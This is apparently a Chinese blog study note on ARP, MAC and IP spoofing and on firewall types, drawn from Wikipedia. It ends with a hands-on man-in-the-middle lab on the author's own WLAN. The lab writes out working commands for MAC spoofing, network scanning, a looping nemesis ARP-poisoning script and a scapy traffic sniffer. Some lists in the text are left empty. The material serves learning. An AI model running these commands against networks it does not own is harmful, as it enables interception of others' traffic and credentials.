首先,我们来被维基百科科普一下。然后试着执行一次中间人攻击。
理解计算机网络分层架构。
习惯于主动使用搜索引擎寻找知识
以下内容来自维基百科
是一种攻击者在局域网上发送伪造的ARP消息的技术。通常是为了将另一个主机的IP地址关联到攻击者的MAC地址上。使那个主机的IP地址的流量定向到攻击者那里。
ARP欺骗使攻击者截取本地局域网(LAN)上的数据帧,更改流量或者阻止流量。通常作为其它攻击方式比如拒绝服务攻击(DOS),中间人攻击(MITM)或者会话劫持的开始。
攻击局限在使用ARP协议的局域网上。
局域网通信需要把网络层的IP地址转换成数据链路层的MAC地址 来在数据链路层传输。当知道一个主机的IP地址后,就需要通过一个广播来获取其MAC地址(ARP request)。这个主机响应(ARP reply)中包含这个IP的MAC地址。
ARP协议没有状态,主机会自动缓存任何它们收到的ARP reply,无论是否它们请求过。即使没有过期的ARP缓存也会被新ARP响应覆盖。主机无法认证包的来源。
通常,一次ARP攻击可能来自被侵害的机器或者直接是攻击者的主机。通常,攻击的目标是将攻击者的MAC地址关联到目标机器的IP地址,于是意味着发送到目标的流量就被送到攻击者的那里。攻击者可以:
防御措施有:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters, ArpCacheLife, ArpCacheMinReferenceLife, ArpUseEtherSNAP, ArpTRSingleRoute, ArpAlwaysSourceRoute, ArpRetryCount
配置。是一种更改一个网络设备上接口的MAC(Media Access Control)地址的技术。MAC地址硬编码到网卡(NetWork Interface Controller)中无法更改,然而,有办法让操作系统相信网卡使用了用户指定的MAC地址。通常这更改了一个电脑的身份,然而相当简单。
通常为了绕过服务器或路由器的访问控制列表,或者隐藏一台电脑或者冒充其它网络设备。看情况有时候合法有时候非法。
MAC欺骗的主机通常可以收到信息(有些特别安全交换机配置可以阻止这种包的传输)2,然而,MAC地址伪造局限在局部广播域。3
是在IP协议包中伪造源地址的一种行为。其一是为了隐藏伪造者的身份,一是为了假扮成其它机器。
攻击者通过更改IP包头源地址段,使之好像来源于其它机器。收到伪造包的机器就向错误的机器返回包。通常攻击者不在乎返回的包,或者他们可以可靠地探测响应。
特定情况下可能攻击者可以看到或把数据包重定向到他自己的机器。这在本地局域网或本地无线局域网上常常发生。
IP欺骗常用来进行DOS攻击,因为包来自不同地址,它让过滤变得不易。这让基于IP的防御不再有效。Backscatter是一种基于无效地址包的统计技术,然而更复杂的攻击还能避免无效的地址。
IP欺骗也被用来绕过基于IP的认证。虽然这种方法会一次更改上千的包使之在攻击远端系统时实施非常困难,但在受信任的内网机器之间却很有效
IP欺骗有时候也用作网站性能测试。
易受IP欺骗的服务有:
以后再看,其实某次我们内网搭建的git服务器给我邮箱发了邮件并且收到时就想到了这个。
以后再说吧,想起了乌云上那篇猥琐流URL hacking。
从发展史来看,防火墙的发展分为三代:
包过滤。这一代防火墙仅仅对单个的包进行过滤。如果发现匹配的规则则丢弃(悄悄丢包)或者拒绝(返回错误)这个包。通常这些规则是包源地址、目的地址、协议、和比如针对TCP和UDP的端口。它没有关于连接的任何信息,是无状态的。
该代防火墙主要工作在下三层并稍微偷看下传输层的源和目的地址及端口。
有状态的过滤。不仅有第一代防火墙的功能,还工作到OSI第四层传输层上,会把连接状态
作为一个评价标准。它会保留直到接受足够的包来决定它的连接状态。它记录所有经过的连接并决定是否一个包是新连接的开始或是已存在连接的一部分或者不是。
应用级防火墙4。这种防火墙工作在应用层。它能够理解上层协议,所以,可以去探测是否一个非法的协议在试图通过合法的端口穿越防火墙。传说中的下一代防火墙(NGFW)就是扩展和深化应用层栈的检查。
防火墙可以根据通信被截取的位置和被追踪的状态分类:
应用层防火墙:通过套接字截取进程间通信,使用各种规则过滤。无法抵御底层的漏洞挖掘,正在被一种强制访问控制(MAC)应用防火墙取代,即沙盒。
代理:无论是专用的硬件或者软件,通过以应用的方式响应输入的包起作用。代理服务器是一个网络到另一个特定网络应用的网关,代表网络中的用户来行事。代理服务器使内网和外网隔离更彻底,但攻击者也可以通过使用一台机器当作代理攻击内部网络。
伪造DHCP服务器,暂略。
放到DNS里来讲
下面,尝试一次中间人攻击,我是在WLAN内打开自己手机和笔记本。
0.0 mac spoofing
~ ⮀ sudo ip link set eth0 down
~ ⮀ sudo ip link set dev eth0 address 38:AA:3C:E6:FE:69
~ ⮀ ip link set eth0 up
0.1 prepare
~ ⮀ ifconfig wlan0 promisc
~ ⮀ echo 1 > /proc/sys/net/ipv4/ip_forward
find target machine
~ ⮀ sudo nmap -sS 192.168.1.0/24
arps it
while true
do
sudo nemesis arp -v -r -d wlan0 -S 192.168.1.102 -D 192.168.1.1 -h E8:39:DF:08:F4:FB -m EC:88:8F:B4:D6:68 -H E8:39:DF:08:F4:FB -M EC:88:8F:B4:D6:68
sudo nemesis arp -v -r -d wlan0 -S 192.168.1.1 -D 192.168.1.102 -h E8:39:DF:08:F4:FB -m 68:5D:43:2E:AA:59 -H E8:39:DF:08:F4:FB -M 68:5D:43:2E:AA:59
done
listen it
pkts = sniff(filter=”tcp and host 192.168.1.102”,iface=”wlan0”, prn=lambda x: sprintf(“{IP:%IP.src% -> %IP.dst%\n}{Raw:%Raw.load%\n}”))
check it